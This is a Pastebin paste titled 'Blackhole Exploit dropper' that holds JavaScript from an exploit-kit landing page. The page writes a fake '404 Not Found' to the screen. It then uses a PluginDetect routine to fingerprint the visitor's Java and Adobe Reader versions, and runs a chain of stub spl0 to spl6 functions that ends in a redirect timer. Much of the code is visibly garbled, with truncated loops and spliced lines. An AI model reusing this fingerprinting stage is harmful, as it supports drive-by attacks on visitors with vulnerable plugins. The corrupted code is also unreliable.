Advertisement
Guest User

Blackhole Exploit dropper

a guest
Apr 7th, 2011
866
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('404 Not Found');
  2.  
  3. function end_redirect() {}
  4. var javafile = './games/getJavaInfo.jar';
  5. var jver = [0, 0, 0, 0],
  6.     pdfver = [0, 0, 0, 0];
  7. try {
  8.     var PluginDetect = {
  9.         handler: function (c, b, a) {
  10.             return function () {
  11.                 c(b, a)
  12.             }
  13.         },
  14.         isDefined: function (b) {
  15.             return typeof b != "undefined"
  16.         },
  17.         isArray: function (b) {
  18.             return (/array/i).test(Object.prototype.toString.call(b))
  19.         },
  20.         isFunc: function (b) {
  21.             return typeof b == "function"
  22.         },
  23.         isString: function (b) {
  24.             return typeof b == "string"
  25.         },
  26.         isNum: function (b) {
  27.             return typeof b == "number"
  28.         },
  29.         isStrNum: function (b) {
  30.             return (typeof b == "string" && (/\d/).test(b))
  31.         },
  32.         getNumRegx: /[\d][\d\.\_,-]*/,
  33.         splitNumRegx: /[\.\_,-]/g,
  34.         getNum: function (b, c) {
  35.             var d = this,
  36.                 a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  37.             return a ? a[0] : null
  38.         },
  39.         compareNums: function (h, f, d) {
  40.             var e = this,
  41.                 c, b, a, g = parseInt;
  42.             if (e.isStrNum(h) && e.isStrNum(f)) {
  43.                 if (e.isDefined(d) && d.compareNums) {
  44.                     return d.compareNums(h, f)
  45.                 }
  46.                 c = h.split(e.splitNumRegx);
  47.                 b = f.split(e.splitNumRegx);
  48.                 for (a = 0; ag(b[a], 10)) {
  49.                     return 1
  50.                 }
  51.                 if (g(c[a], 10) c || !(/\d/).test(e[a])) {
  52.                     e[a] = "0"
  53.                 }
  54.             }
  55.             return e.slice(0, 4).join(",")
  56.         },
  57.         $$hasMimeType: function (a) {
  58.             return function (d) {
  59.                 if (!a.isIE && d) {
  60.                     var c, b, e, f = a.isString(d) ? [d] : d;
  61.                     if (!f || !f.length) {
  62.                         return null
  63.                     }
  64.                     for (e = 0; e2 || !f || !f.version || !(e = h.getNum(f.version))) {
  65.                         return b
  66.                     }
  67.                     if (!b) {
  68.                         return e
  69.                     }
  70.                     e = h.formatNum(e);
  71.                     b = h.formatNum(b);
  72.                     d = b.split(h.splitNumRegx);
  73.                     g = e.split(h.splitNumRegx);
  74.                     for (a = 0; a - 1 && a > c && d[a] != "0") {
  75.                         return b
  76.                     }
  77.                     if (g[a] != d[a]) {
  78.                         if (c == -1) {
  79.                             c = a
  80.                         }
  81.                         if (d[a] != "0") {
  82.                             return b
  83.                         }
  84.                     }
  85.                 }
  86.                 return e
  87.             }, AXO: window.ActiveXObject,
  88.             getAXO: function (b) {
  89.                 var f = null,
  90.                     d, c = this,
  91.                     a;
  92.                 try {
  93.                     f = new c.AXO(b)
  94.                 } catch (d) {}
  95.                 return f
  96.             },
  97.             convertFuncs: function (g) {
  98.                 var a, h, f, b = /^[\$][\$]/,
  99.                     d = {},
  100.                     c = this;
  101.                 for (a in g) {
  102.                     if (b.test(a)) {
  103.                         d[a] = 1
  104.                     }
  105.                 }
  106.                 for (a in d) {
  107.                     try {
  108.                         h = a.slice(2);
  109.                         if (h.length > 0 && !g[h]) {
  110.                             g[h] = g[a](g);
  111.                             delete g[a]
  112.                         }
  113.                     } catch (f) {}
  114.                 }
  115.             },
  116.             initScript: function () {
  117.                 var c = this,
  118.                     a = navigator,
  119.                     e = "/",
  120.                     i = a.userAgent || "",
  121.                     g = a.vendor || "",
  122.                     b = a.platform || "",
  123.                     h = a.product || "";
  124.                 c.OS = 100;
  125.                 if (b) {
  126.                     var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  127.                     for (f = d.length - 2; f >= 0; f = f - 2) {
  128.                         if (d[f] && new RegExp(d[f], "i").test(b)) {
  129.                             c.OS = d[f + 1];
  130.                             break
  131.                         }
  132.                     }
  133.                 }
  134.                 c.convertFuncs(c);
  135.                 c.isIE = new Function("return " + e + "*@cc_on!@*" + e + "false")();
  136.                 c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  137.                 c.ActiveXEnabled = false;
  138.                 if (c.isIE) {
  139.                     var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  140.                     for (f = 0; f0 && c.isFunc(b[0])))) {
  141.                 a.push(b)
  142.             }
  143.         },
  144.         callArray: function (b) {
  145.             var c = this,
  146.                 a;
  147.             if (c.isArray(b)) {
  148.                 for (a = 0; a0 && b.isFunc(c[0])) {
  149.                     c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  150.                 } else {
  151.                     if (b.isFunc(c)) {
  152.                         c(b)
  153.                     }
  154.                 }
  155.             }, getVersionDelimiter: ",",
  156.             $$getVersion: function (a) {
  157.                 return function (g, d, c) {
  158.                     var e = a.init(g),
  159.                         f, b, h;
  160.                     if (e < 0) {
  161.                         return null
  162.                     };
  163.                     f = a.plugin;
  164.                     if (f.getVersionDone != 1) {
  165.                         f.getVersion(null, d, c);
  166.                         if (f.getVersionDone === null) {
  167.                             f.getVersionDone = 1
  168.                         }
  169.                     }
  170.                     a.cleanup();
  171.                     b = (f.version || f.version0);
  172.                     b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  173.                     return b
  174.                 }
  175.             },
  176.             cleanup: function () {
  177.                 var a = this;
  178.                 if (a.garbage && a.isDefined(window.CollectGarbage)) {
  179.                     window.CollectGarbage()
  180.                 }
  181.             },
  182.             addWinEvent: function (d, c) {
  183.                 var e = this,
  184.                     a = window,
  185.                     b;
  186.                 if (e.isFunc(c)) {
  187.                     if (a.addEventListener) {
  188.                         a.addEventListener(d, c, false)
  189.                     } else {
  190.                         if (a.attachEvent) {
  191.                             a.attachEvent("on" + d, c)
  192.                         } else {
  193.                             b = a["on" + d];
  194.                             a["on" + d] = e.winHandler(c, b)
  195.                         }
  196.                     }
  197.                 }
  198.             },
  199.             winHandler: function (d, c) {
  200.                 return function () {
  201.                     d();
  202.                     if (typeof c == "function") {
  203.                         c()
  204.                     }
  205.                 }
  206.             },
  207.             WLfuncs0: [],
  208.             WLfuncs: [],
  209.             runWLfuncs: function (a) {
  210.                 a.winLoaded = true;
  211.                 a.callArray(a.WLfuncs0);
  212.                 a.callArray(a.WLfuncs);
  213.                 if (a.onDoneEmptyDiv) {
  214.                     a.onDoneEmptyDiv()
  215.                 }
  216.             },
  217.             winLoaded: false,
  218.             $$onWindowLoaded: function (a) {
  219.                 return function (b) {
  220.                     if (a.winLoaded) {
  221.                         a.call(b)
  222.                     } else {
  223.                         a.fPush(b, a.WLfuncs)
  224.                     }
  225.                 }
  226.             },
  227.             div: null,
  228.             divWidth: 50,
  229.             pluginSize: 1,
  230.             emptyDiv: function () {
  231.                 var c = this,
  232.                     a, e, b, d = 0;
  233.                 if (c.div && c.div.childNodes) {
  234.                     for (a = c.div.childNodes.length - 1; a >= 0; a--) {
  235.                         b = c.div.childNodes[a];
  236.                         if (b && b.childNodes) {
  237.                             if (d == 0) {
  238.                                 for (e = b.childNodes.length - 1; e >= 0; e--) {
  239.                                     b.removeChild(b.childNodes[e])
  240.                                 }
  241.                                 c.div.removeChild(b)
  242.                             } else {}
  243.                         }
  244.                     }
  245.                 }
  246.             },
  247.             DONEfuncs: [],
  248.             onDoneEmptyDiv: function () {
  249.                 var c = this,
  250.                     a, b;
  251.                 if (!c.winLoaded) {
  252.                     return
  253.                 }
  254.                 if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  255.                     return
  256.                 }
  257.                 for (a in c) {
  258.                     b = c[a];
  259.                     if (b && b.funcs) {
  260.                         if (b.OTF == 3) {
  261.                             return
  262.                         }
  263.                         if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  264.                             return
  265.                         }
  266.                     }
  267.                 }
  268.                 for (a = 0; a < 0 || j < 0 || i < 0 || i <= "c.pluginSize||c.pluginSize<1){return"
  269.                 0
  270.                 }
  271.                 if (l = "" >= i) {
  272.                     return -1
  273.                 }
  274.                 try {
  275.                     if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  276.                         if (!m.winLoaded && c.winLoaded) {
  277.                             return 1
  278.                         }
  279.                         if (m.winLoaded && c.isNum(b)) {
  280.                             if (!c.isNum(m.count)) {
  281.                                 m.count = b
  282.                             }
  283.                             if (b - m.count >= 10) {
  284.                                 return 1
  285.                             }
  286.                         }
  287.                     }
  288.                 } catch (f) {}
  289.                 return 0
  290.             },
  291.             getDOMobj: function (g, a) {
  292.                 var f, d = this,
  293.                     c = g ? g.span : 0,
  294.                     b = c && c.firstChild ? 1 : 0;
  295.                 try {
  296.                     if (b && a) {
  297.                         c.firstChild.focus()
  298.                     }
  299.                 } catch (f) {}
  300.                 return b ? c.firstChild : null
  301.             },
  302.             setStyle: function (b, g) {
  303.                 var f = b.style,
  304.                     a, d, c = this;
  305.                 if (f && g) {
  306.                     for (a = 0; ao '+b+"/div>");c=f.getElementById(h)}catch(g){}}a=(f.getElementsByTagName("body")[0]||f.body);if(a){if(a.firstChild&&d.isDefined(a.insertBefore)){a.insertBefore(i,a.firstChild)}else{a.appendChild(i)}if(c){a.removeChild(c)}}else{}},insertHTML:function(g,b,h,a,k){var l,m=document,j=this,q,o=m.createElement("span"),n,i,f="<";var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];if(!j.isDefined(a)){a=""}if(j.isString(g)&&(/[^\s]/).test(g)){q=f+g+'
  307.                     width = "'+j.pluginSize+'"
  308.                     height = "'+j.pluginSize+'"';for(n=0;n'
  309.                     }
  310.                 }
  311.                 q += a + f + "/" + g + ">"
  312.             } else {
  313.                 q = a
  314.             }
  315.             if (!j.div) {
  316.                 j.div = m.createElement("div");
  317.                 i = m.getElementById("plugindetect");
  318.                 if (i) {
  319.                     j.div = i
  320.                 } else {
  321.                     j.div.id = "plugindetect";
  322.                     j.insertDivInBody(j.div)
  323.                 }
  324.                 j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  325.                 if (!i) {
  326.                     j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  327.                 }
  328.             }
  329.             if (j.div && j.div.parentNode) {
  330.                 j.div.appendChild(o);
  331.                 j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  332.                 try {
  333.                     if (o && o.parentNode) {
  334.                         o.focus()
  335.                     }
  336.                 } catch (l) {}
  337.                 try {
  338.                     o.innerHTML = q
  339.                 } catch (l) {}
  340.                 if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) {
  341.                     j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  342.                 }
  343.                 return {
  344.                     span: o,
  345.                     winLoaded: j.winLoaded,
  346.                     tagName: (j.isString(g) ? g : "")
  347.                 }
  348.             }
  349.             return {
  350.                 span: null,
  351.                 winLoaded: j.winLoaded,
  352.                 tagName: ""
  353.             }
  354.         },
  355.         java: {
  356.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  357.             mimeTypeJPI: "application/x-java-applet;jpi-version=",
  358.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  359.             DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",
  360.             DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  361.             forceVerifyTag: [],
  362.             jar: [],
  363.             Enabled: navigator.javaEnabled(),
  364.             VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."],
  365.             OTF: null,
  366.             All_versions: [],
  367.             mimeTypeJPIresult: "",
  368.             JavaPlugin_versions: [],
  369.             JavaVersions: [
  370.                 [1, 9, 2, 30],
  371.                 [1, 8, 2, 30],
  372.                 [1, 7, 2, 30],
  373.                 [1, 6, 1, 30],
  374.                 [1, 5, 1, 30],
  375.                 [1, 4, 2, 30],
  376.                 [1, 3, 1, 30]
  377.             ],
  378.             searchJavaPluginAXO: function () {
  379.                 var h = null,
  380.                     a = this,
  381.                     c = a.$,
  382.                     g = [],
  383.                     j = [1, 5, 0, 14],
  384.                     i = [1, 6, 0, 2],
  385.                     f = [1, 3, 1, 0],
  386.                     e = [1, 4, 2, 0],
  387.                     d = [1, 5, 0, 7],
  388.                     b = false;
  389.                 if (!c.ActiveXEnabled) {
  390.                     return null
  391.                 };
  392.                 if (c.verIE >= a.minIEver) {
  393.                     g = a.searchJavaAXO(i, i, b);
  394.                     if (g.length > 0 && b) {
  395.                         g = a.searchJavaAXO(j, j, b)
  396.                     }
  397.                 } else {
  398.                     if (g.length == 0) {
  399.                         g = a.searchJavaAXO(f, e, false)
  400.                     }
  401.                 }
  402.                 if (g.length > 0) {
  403.                     h = g[0]
  404.                 }
  405.                 a.JavaPlugin_versions = [].concat(g);
  406.                 return h
  407.             },
  408.             searchJavaAXO: function (l, i, m) {
  409.                 var n, f, h = this.$,
  410.                     q, k, a, e, g, j, b, r = [];
  411.                 if (h.compareNums(l.join(","), i.join(",")) > 0) {
  412.                     i = l
  413.                 }
  414.                 i = h.formatNum(i.join(","));
  415.                 var o, d = "1,4,2,0",
  416.                     c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? ("_" + (l[3] < 10 ? "0" : "") + l[3]) : "");
  417.                 for (n = 0; n = 0; a--) {
  418.                     b = "JavaWebStart.isInstalled." + g + a + ".0";
  419.                     if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b)) {
  420.                         continue
  421.                     }
  422.                     o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false;
  423.                     for (e = f[3]; e >= 0; e--) {
  424.                         k = a + "_" + (e < 10 ? "0" + e : e);
  425.                         j = q + k;
  426.                         if (h.getAXO(j) && (o || h.getAXO(b))) {
  427.                             r.push(g + k);
  428.                             if (!m) {
  429.                                 return r
  430.                             }
  431.                         }
  432.                         if (j == c) {
  433.                             return r
  434.                         }
  435.                     }
  436.                     if (h.getAXO(q + a) && (o || h.getAXO(b))) {
  437.                         r.push(g + a);
  438.                         if (!m) {
  439.                             return r
  440.                         }
  441.                     }
  442.                     if (q + a == c) {
  443.                         return r
  444.                     }
  445.                 }
  446.             }
  447.             return r
  448.         },
  449.         minIEver: 7,
  450.         getMimeJPIversion: function () {
  451.             var h, a = this,
  452.                 d = a.$,
  453.                 c = new RegExp("(" + a.mimeTypeJPI + ")(\\d.*)", "i"),
  454.                 k = new RegExp("Java", "i"),
  455.                 e, j, f = "",
  456.                 i = {},
  457.                 g = 0,
  458.                 b;
  459.             for (h = 0; h0) {
  460.                 b = e
  461.             }
  462.         }
  463.         a.mimeTypeJPIresult = g > 0 ? a.mimeTypeJPI + i["a" + b] : "";
  464.         return g > 0 ? b : null
  465.     },
  466.         getVersion: function (m, d, l) {
  467.             var f, c = this,
  468.                 e = c.$,
  469.                 h = c.NOTF,
  470.                 b = c.applet,
  471.                 j = c.verify,
  472.                 i = vendor = versionEnabled = null;
  473.             if (c.getVersionDone === null) {
  474.                 c.OTF = 0;
  475.                 c.mimeObj = e.hasMimeType(c.mimeType);
  476.                 c.deployTK.$ = e;
  477.                 c.deployTK.parentNode = c;
  478.                 b.$ = e;
  479.                 b.parentNode = c;
  480.                 if (h) {
  481.                     h.$ = e;
  482.                     h.parentNode = c
  483.                 }
  484.                 if (j) {
  485.                     j.parentNode = c;
  486.                     j.$ = e;
  487.                     j.init()
  488.                 }
  489.             }
  490.             var k;
  491.             if (e.isArray(l)) {
  492.                 for (k = 0; k = 0) ? q : n
  493.             } else {
  494.                 i = q || n
  495.             }
  496.         }
  497. }
  498. if (!i && c.mimeObj && e.isSafari && e.OS == 2) {
  499.     a = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  500.     if (a) {
  501.         q = e.getNum(a.description);
  502.         if (q) {
  503.             i = q
  504.         }
  505.     }
  506. }
  507. if (i) {
  508.     c.version0 = i;
  509.     if (c.Enabled) {
  510.         versionEnabled = i
  511.     }
  512. }
  513. } else {
  514.     if (!i && g.status == 0) {
  515.         i = c.searchJavaPluginAXO();
  516.         if (i) {
  517.             vendor = c.VENDORS[0]
  518.         }
  519.     }
  520.     if (i) {
  521.         c.version0 = i;
  522.         if (c.Enabled && e.ActiveXEnabled) {
  523.             versionEnabled = i
  524.         }
  525.     }
  526. }
  527. if (!versionEnabled || b.canTryAny()) {
  528.     f = b.insertHTMLQueryAll(d);
  529.     if (f[0]) {
  530.         versionEnabled = f[0];
  531.         vendor = f[1]
  532.     }
  533. }
  534. if (!versionEnabled && (f = c.queryWithoutApplets())[0]) {
  535.     c.version0 = versionEnabled = f[0];
  536.     vendor = f[1];
  537.     if (c.installed == -0.5) {
  538.         c.installed = 0.5
  539.     }
  540. }
  541. if (e.isSafari && e.OS == 2) {
  542.     if (!versionEnabled && o) {
  543.         if (c.installed === null) {
  544.             c.installed = 0
  545.         } else {
  546.             if (c.installed == -0.5) {
  547.                 c.installed = 0.5
  548.             }
  549.         }
  550.     }
  551. }
  552. if (c.jreDisabled()) {
  553.     versionEnabled = null
  554. };
  555. if (c.installed === null) {
  556.     c.installed = versionEnabled ? 1 : (i ? -0.2 : -1)
  557. }
  558. c.EndGetVersion(versionEnabled, vendor)
  559. }, EndGetVersion: function (b, d) {
  560.     var a = this,
  561.         c = a.$;
  562.     if (a.version0) {
  563.         a.version0 = c.formatNum(c.getNum(a.version0))
  564.     }
  565.     if (b) {
  566.         a.version = c.formatNum(c.getNum(b));
  567.         a.vendor = (c.isString(d) ? d : "")
  568.     }
  569.     if (a.getVersionDone != 1) {
  570.         a.getVersionDone = 0
  571.     }
  572. },
  573. jreDisabled: function () {
  574.     var b = this,
  575.         d = b.$,
  576.         c = b.deployTK.query().JRE,
  577.         a;
  578.     if (c && d.OS == 1) {
  579.         if ((d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0) || (d.isChrome && d.compareNums(c, "1,6,0,12") < 0)) {
  580.             return 1
  581.         }
  582.     };
  583.     if (d.isOpera && d.verOpera >= 9 && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  584.         return 1
  585.     }
  586.     if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  587.         return 1
  588.     }
  589.     return 0
  590. },
  591. deployTK: {
  592.     status: null,
  593.     JREall: [],
  594.     JRE: null,
  595.     HTML: null,
  596.     query: function () {
  597.         var f = this,
  598.             h = f.$,
  599.             c = f.parentNode,
  600.             i, a, b, g = len = null;
  601.         if (f.status !== null) {
  602.             return f
  603.         }
  604.         f.status = 0;
  605.         if ((h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) <= 0) || h.isSafari || h.isChrome || (h.isIE && !h.ActiveXEnabled)) {
  606.             return f
  607.         }
  608.         if (h.isIE && h.verIE >= 6) {
  609.             f.HTML = h.insertHTML("object", [], []);
  610.             g = h.getDOMobj(f.HTML)
  611.         } else {
  612.             if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type) {
  613.                 f.HTML = h.insertHTML("object", ["type", b.type], []);
  614.                 g = h.getDOMobj(f.HTML)
  615.             }
  616.         }
  617.         if (g) {
  618.             if (h.isIE && h.verIE >= 6) {
  619.                 try {
  620.                     g.classid = c.DTKclassID
  621.                 } catch (i) {}
  622.             };
  623.             try {
  624.                 var d = g.jvms;
  625.                 if (d) {
  626.                     len = d.getLength();
  627.                     if (h.isNum(len)) {
  628.                         f.status = len > 0 ? 1 : -1;
  629.                         for (a = 0; a0) {
  630.                             f.JRE = h.formatNum(f.JREall[0])
  631.                         }
  632.                         return f
  633.                     }
  634.                 }, queryWithoutApplets00: function (c, a) {
  635.                     var b = window.java,
  636.                         d;
  637.                     try {
  638.                         if (b && b.lang && b.lang.System) {
  639.                             a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "]
  640.                         }
  641.                     } catch (d) {}
  642.                 },
  643.                 queryWithoutApplets: function () {
  644.                     var c = this,
  645.                         f = c.$,
  646.                         g, a = c.queryWithoutApplets;
  647.                     if (!a.value) {
  648.                         a.value = [null, null];
  649.                         if (!f.isIE && window.java) {
  650.                             if (f.OS == 2 && f.isOpera && f.verOpera < 9.2 && f.verOpera >= 9) {} else {
  651.                                 if (f.isGecko && f.compareNums(f.verGecko, "1,9,0,0") < 0 && f.compareNums(f.verGecko, "1,8,0,0") >= 0) {} else {
  652.                                     if (f.isGecko) {
  653.                                         var i, b, h = document;
  654.                                         if (h.createElement && h.createEvent) {
  655.                                             try {
  656.                                                 i = h.createElement("div"), b = h.createEvent("HTMLEvents");
  657.                                                 b.initEvent("change", false, false);
  658.                                                 i.addEventListener("change", f.handler(c.queryWithoutApplets00, f, a), false);
  659.                                                 i.dispatchEvent(b)
  660.                                             } catch (g) {}
  661.                                         }
  662.                                     } else {
  663.                                         c.queryWithoutApplets00(f, a)
  664.                                     }
  665.                                 }
  666.                             }
  667.                         }
  668.                     }
  669.                     return a.value
  670.                 },
  671.                 applet: {
  672.                     results: [
  673.                         [null, null],
  674.                         [null, null],
  675.                         [null, null]
  676.                     ],
  677.                     HTML: [0, 0, 0],
  678.                     active: [0, 0, 0],
  679.                     allowed: [2, 2, 2],
  680.                     DummyObjTagHTML: 0,
  681.                     DummySpanTagHTML: 0,
  682.                     getResult: function () {
  683.                         var c = this.results,
  684.                             a, b;
  685.                         for (a = 0; a0 ? 0 : 1
  686.                         }
  687.                         return g.getResult()
  688.                     }
  689.                 },
  690.                 append: function (e, d) {
  691.                     for (var c = 0; cg)) {
  692.                     g = RegExp.$1
  693.                 }
  694.             }
  695.         } catch (h) {}
  696.         f.installed = g ? 1 : (p ? 0 : -1)
  697.     }
  698.     if (!f.version) {
  699.         f.version = c.formatNum(g)
  700.     }
  701.     f.INSTALLED[j] = f.installed
  702. }
  703. },
  704. zz: 0
  705. };
  706. PluginDetect.initScript();
  707. PluginDetect.getVersion(".");
  708. jver = PluginDetect.getVersion("Java", javafile);
  709. pdfver = PluginDetect.getVersion("AdobeReader");
  710. } catch (e) {}
  711. if (typeof jver == 'string') {
  712.     jver = jver.split('.')
  713. } else {
  714.     jver = [0, 0, 0, 0]
  715. }
  716. if (typeof pdfver == 'string') {
  717.     pdfver = pdfver.split('.')
  718. } else {
  719.     pdfver = [0, 0, 0, 0]
  720. }
  721. function spl0() {
  722.     spl1()
  723. }
  724. function spl1() {
  725.     spl2()
  726. }
  727. function spl2() {
  728.     spl3()
  729. }
  730. function spl3() {
  731.     spl4()
  732. }
  733. function spl4() {
  734.     spl5()
  735. }
  736. function spl5() {
  737.     spl6()
  738. }
  739. function spl6() {
  740.     setTimeout(end_redirect, 6000)
  741. }
  742. spl0()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement